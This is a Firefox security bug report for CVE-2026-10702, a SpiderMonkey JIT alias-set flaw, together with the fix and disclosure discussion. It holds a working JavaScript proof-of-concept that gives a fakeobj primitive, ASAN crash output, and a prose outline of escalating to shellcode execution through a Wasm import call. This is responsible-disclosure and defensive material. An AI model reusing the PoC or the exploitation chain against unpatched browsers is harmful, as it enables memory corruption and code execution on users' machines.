Closed Bug 2040903 (CVE-2026-10702) Opened 4 months ago Closed 3 months ago

IonMonkey: incorrect alias set of `MObjectToIterator` can lead to exploitable stale pointer loading and fakeobj primitive

Categories

(Core :: JavaScript Engine: JIT, defect, P1)

defect

Tracking

()

RESOLVED FIXED
153 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- unaffected
firefox151 + fixed
firefox152 + fixed
firefox153 + fixed

People

(Reporter: nebusec.io, Assigned: iain, NeedInfo)

References

(Blocks 2 open bugs, Regression, )

Details

(4 keywords, Whiteboard: [adv-main151.0.3+])

Attachments

(6 files)

IonMonkey: incorrect alias set of MObjectToIterator can lead to exploitable stale pointer loading and fakeobj primitive

Description

ObjectKeysReplacer scalar-replaces an unescaped Object.keys(obj) result with an MObjectToIterator instruction and sets skipRegistration_:


bool ObjectKeysReplacer::run(MInstructionIterator& outerIterator) {
  MBasicBlock* startBlock = arr_->block();

  objToIter_ = MObjectToIterator::New(alloc_, objectKeys()->object(), nullptr);
  objToIter_->setSkipRegistration(true);
  arr_->block()->insertBefore(arr_, objToIter_); 

  // .........

  if (!graph_.alloc().ensureBallast()) {
    return false;
  }

  return true;
}

For this mode, MObjectToIterator::getAliasSet() describes the instruction as a load of object fields and elements:

AliasSet getAliasSet() const override {
  return skipRegistration_
             ? AliasSet::Load(AliasSet::ObjectFields | AliasSet::Element)
             : AliasSet::Store(AliasSet::Any);
}

That alias set is too weak. The instruction lowers to GetIteratorForObjectKeys / GetIteratorWithIndicesForObjectKeys, which calls GetIteratorImpl and then PropertyEnumerator::snapshot. For native objects with an enumerate hook, snapshot calls the hook before enumerating native properties.

for JSFunction, it will call fun_enumerate then calls HasOwnProperty("prototype" / "length" / "name") HasOwnProperty is not necessarily a side-effect-free lookup for a native object with a resolve hook. For JSFunction, that resolve hook is fun_resolve which will call NativeDefineDataProperty

static bool fun_resolve(JSContext* cx, HandleObject obj, HandleId id,
                        bool* resolvedp) {
  if (!id.isAtom()) {
    return true;
  } 

  // .........

  bool isLength = id.isAtom(cx->names().length);
  if (isLength || id.isAtom(cx->names().name)) {
    MOZ_ASSERT(!IsInternalFunctionObject(*obj));

    RootedValue v(cx);
    
    if (isLength) {
        // .........
    }

    if (!NativeDefineDataProperty(cx, fun, id, v,
                                  JSPROP_READONLY | JSPROP_RESOLVING)) {
      return false;
    }
    // ......... 
  }

  return true;
}

this can glow the slots, a later slot load reusing can load pointer controlled by attacker.

Exploit

We would like to briefly describe how can we craft a fakeobj primitive. This vulnerability actually allow us to dereference a pointer. So first we can spray the pointer first, then we can construct an object with 30 pre-existing dynamic properties. Then a slots reallocation will be triggered when resolving the other lazy properties. Then the later loading, which will reuse the previous loading MSlots, will be the slot with sprayed pointer.

const BASE_PROPS = 26;
const SHAPES = 4;
const ITERS = 350;
const FINAL_K = 2;

const target = 0x414243444546;

function targetByte(i) {
  return Number((target >> (8n * BigInt(i))) & 0xffn);
}

const PREFIX = String.fromCharCode(
  targetByte(0),
  targetByte(1),
  targetByte(2),
  targetByte(3)
);
const TARGET_SUFFIX = String.fromCharCode(
  targetByte(4),
  targetByte(5),
  0xfe,
  0xff
);

function suffix(i) {
  if (i === 15) {
    return TARGET_SUFFIX;
  }
  return "" + i;
}

function make(k) {
  function g(a, b, c) {}
  for (let i = 0; i < BASE_PROPS + k; i++) {
    g[PREFIX + suffix(i)] = i;
  }
  g.p = 13;
  g.r = 37;
  return g;
}

function makeObjectName(k) {
  const g = make(k);
  Object.defineProperty(g, "name", {
    value: {marker: 7},
    writable: true,
    configurable: true,
  });
  return g;
}

function f(o) {
  const x = o.p;
  Object.keys(o);
  const y = o.name;
  return x + y.marker;
}

for (let i = 0; i < ITERS; i++) {
  if ((i & 7) === 0) {
    f(makeObjectName(i % SHAPES));
  } else {
    f(make(i % SHAPES));
  }
}

print(f(make(FINAL_K)));

we tested on commit 9c267d0a950b189974105667e9eb14d2f6172564 (Tue May 19th)

please run with

js --baseline-warmup-threshold=10 --ion-warmup-threshold=100 fakeobj.js

it will segfault at 0x414243444546, with ASAN build without debug option, the stack frame will be:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==3354031==ERROR: AddressSanitizer: SEGV on unknown address 0x414243444546 (pc 0x55994ae039be bp 0x7ffea4ba2df0 sp 0x7ffea4ba2dd0 T0)
==3354031==The signal is caused by a READ memory access.
/audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/dist/bin/llvm-symbolizer: error: '[anon:js-executable-memory]': No such file or directory
    #0 0x55994ae039be in js::gc::HeaderWord::get() const /audit/ff/firefox/js/src/gc/Cell.h:113:23
    #1 0x55994ae0f533 in js::gc::CellWithTenuredGCPointer<js::gc::Cell, js::Shape>::headerPtr() const /audit/ff/firefox/js/src/gc/Cell.h:846:60
    #2 0x55994ae0f4d4 in JSObject::shape() const /audit/ff/firefox/js/src/vm/JSObject.h:92:37
    #3 0x55994ae0f474 in JSObject::getClass() const /audit/ff/firefox/js/src/vm/JSObject.h:113:44
    #4 0x55994ae0f294 in bool JSObject::is<js::TypedArrayObject>() const /audit/ff/firefox/js/src/vm/TypedArrayObject.h:460:32
    #5 0x55994c68a193 in js::jit::GetPropIRGenerator::tryAttachTypedArrayElement(JS::Handle<JSObject*>, js::jit::ObjOperandId) /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/CacheIR.cpp:3158:13
    #6 0x55994c688949 in js::jit::GetPropIRGenerator::tryAttachStub() /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/CacheIR.cpp:468:5
    #7 0x55994ca186af in void TryAttachIonStub<js::jit::GetPropIRGenerator, js::jit::CacheKind, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&>(JSContext*, js::jit::IonIC*, js::jit::IonScript*, js::jit::CacheKind&&, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&) /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/IonIC.cpp:145:17
    #8 0x55994ca15ce0 in js::jit::IonGetPropertyIC::update(JSContext*, JS::Handle<JSScript*>, js::jit::IonGetPropertyIC*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::MutableHandle<JS::Value>) /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/IonIC.cpp:174:3
    #9 0x19c7acc0d226  ([anon:js-executable-memory]+0x4226)

==3354031==Register values:
rax = 0x0000414243444546  rbx = 0x00007ffea4ba2e80  rcx = 0x00000f62ecf30000  rdx = 0x00007b17679cba00  
rdi = 0x0000414243444546  rsi = 0x00007b1767c058c0  rbp = 0x00007ffea4ba2df0  rsp = 0x00007ffea4ba2dd0  
 r8 = 0x00000f62ecf39740   r9 = 0xf2f2f8f8f2f2f2f8  r10 = 0x0000000000000f01  r11 = 0x000010005496c648  
r12 = 0x000010c92c525242  r13 = 0x0000000000000005  r14 = 0x00007ffea4ba3e30  r15 = 0x0000000000000000  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /audit/ff/firefox/js/src/gc/Cell.h:113:23 in js::gc::HeaderWord::get() const
==3354031==ABORTING

Shellcode

To achieve full shellcode execution, we use the stale load as our initial info leak. Then build a fake Uint8Array. Then we abuse Wasm-to-Wasm import calls as a native call primitive. A Wasm exported function object has an extended slot (JSFunction + 0x38 = WASM_FUNC_UNCHECKED_ENTRY_SLOT) This slot normally points to the Wasm unchecked entry. When another Wasm module imports that function, SpiderMonkey copies this slot into FuncImportInstanceData::code. The generated Wasm import call then calls that pointer directly. The full exploit script depends on the js shell as the offset of GOT entry is hardcoded.

Group: core-security → javascript-core-security

Clever! I confirm that I can reproduce an OOB access using fakeobj.js (after updating to const target = 0x414243444546n; to avoid a TypeError).

This is a somewhat annoying bug to fix. At first glance, it seems like the only approach is to make the alias set more conservative. But I'm a bit concerned that doing so will break some of the optimizations we want to make here.

Alex, do you remember how important it was for this op to be non-effectful? It's a little tricky to make it effectful, because we're already stealing the resume point for the recovery-only ObjectKeysFromIterator op. But maybe ObjectKeysFromIterator shouldn't effectful in the first place?

Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: needinfo?(dothayer)
Keywords: regression
Regressed by: 1995077

Set release status flags based on info from the regressing bug 1995077

I have a prototype fix, which a) still passes our recoveredOnBailout tests, and b) generates the same optimized MIR for ion/iterator-indices-borrowed-iterator.js. So maybe we don't have to worry about performance here.

Attached file (secure)
Assignee: nobody → iireland
Status: NEW → ASSIGNED

oops not sure why I pasted this one and left the n behind. We slightly update the exploit shellcode_without_flags.js so it can gain code exec without extra flags, basically just wait for the off-thread jit. It seems like this issue can be turned to static analysis rules, we are checking if there are more similar ones.

Severity: -- → S2
Priority: -- → P1

Comment on attachment 9588176 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: It requires non-trivial insights that aren't highlighted in the patch (using a function's resolve hook to reallocate a slots array).
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: Beta and release
  • If not all supported branches, which bug introduced the flaw?: Bug 1995077
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: The patch should apply cleanly.
  • How likely is this patch to cause regressions; how much testing does it need?: There is a small chance of perf regressions, but performance has been unchanged in local testing.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9588176 - Flags: sec-approval?
Attachment #9588176 - Flags: sec-approval? → sec-approval+
Attached file (secure)
Attachment #9589878 - Flags: approval-mozilla-beta?

firefox-beta Uplift Approval Request

  • User impact if declined/Reason for urgency: Exploitable bug with working POC.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing: No
  • Risk associated with taking this patch: low
  • Explanation of risk level: This makes our optimizations more conservative.
  • String changes made/needed?: None
  • Is Android affected?: yes

firefox-release Uplift Approval Request

  • User impact if declined/Reason for urgency: Exploitable bug with working POC.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing: No
  • Risk associated with taking this patch: low
  • Explanation of risk level: This makes our optimizations more conservative.
  • String changes made/needed?: None
  • Is Android affected?: yes
Attachment #9589879 - Flags: approval-mozilla-release?
Attached file (secure)
Group: javascript-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 3 months ago
Resolution: --- → FIXED
Target Milestone: --- → 153 Branch
Attachment #9589878 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c153/b152]
Attachment #9589879 - Flags: approval-mozilla-release? → approval-mozilla-release+
Whiteboard: [adv-main151.0.3+]
Alias: CVE-2026-10702

We would like to ask whether it would be acceptable for us to publicly share a short video demonstrating the exploitation process for this vulnerability.

To be clear, the video would only show the exploit result and high-level demonstration flow. We will not disclose any information related to the vulnerability’s root cause, technical details, or any other content that could help others reproduce or understand the vulnerability.

If needed, we would be happy to share the video with you for review before publishing it. We will of course follow any disclosure guidance or restrictions :)

We do not ask for your silence as per our bug bounty policies (https://www.mozilla.org/en-US/security/bug-bounty/faq/#nondisclosure), but it would be great if the technical details are hidden for a while. We typically ask for ~6 weeks to make sure that everyone gets an update.

If you want to put something out now, I'd like to ask you that you mention that this is already fixed in 151.0.3 and that people should make sure to use a version of Firefox that is up to date :)

May I ask whether this vulnerability is eligible for a bug bounty?

(In reply to Nebula Security (@nebusecurity) [:nebusec.io] from comment #17)

We would like to ask whether it would be acceptable for us to publicly share a short video demonstrating the exploitation process for this vulnerability.

To be clear, the video would only show the exploit result and high-level demonstration flow. We will not disclose any information related to the vulnerability’s root cause, technical details, or any other content that could help others reproduce or understand the vulnerability.

If needed, we would be happy to share the video with you for review before publishing it. We will of course follow any disclosure guidance or restrictions :)

Hey, as we mentioned above, since https://data.firefox.com/dashboard/user-activity shows that many users have updated to the latest version, we would probably share more info.

(In reply to Nebula Security (@nebusecurity) [:nebusec.io] from comment #19)

May I ask whether this vulnerability is eligible for a bug bounty?

It sounds like you are interested in a bug bounty, so I'll set the bug-bounty? flag so that it will be considered at the next weekly bug bounty committee meeting. In general, questions about bug bounties are better directed by email to security@mozilla.org rather than in a comment in Bugzilla, which tends to be focused on the engineering work and not the bounty program, which as you've seen can cause something to go overlooked.

It looks like they published a blog post on this on July 21, so I'll add a link here.

(In reply to Nebula Security (@nebusecurity) [:nebusec.io] from comment #19)

May I ask whether this vulnerability is eligible for a bug bounty?

Also, if you submit a bug via the Client Bug Bounty Form it will automatically set the sec-bounty? flag.

Group: core-security-release
Attachment #9588178 - Attachment description: (secure) → Bug 2040903: Add test and comment r=jandem
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: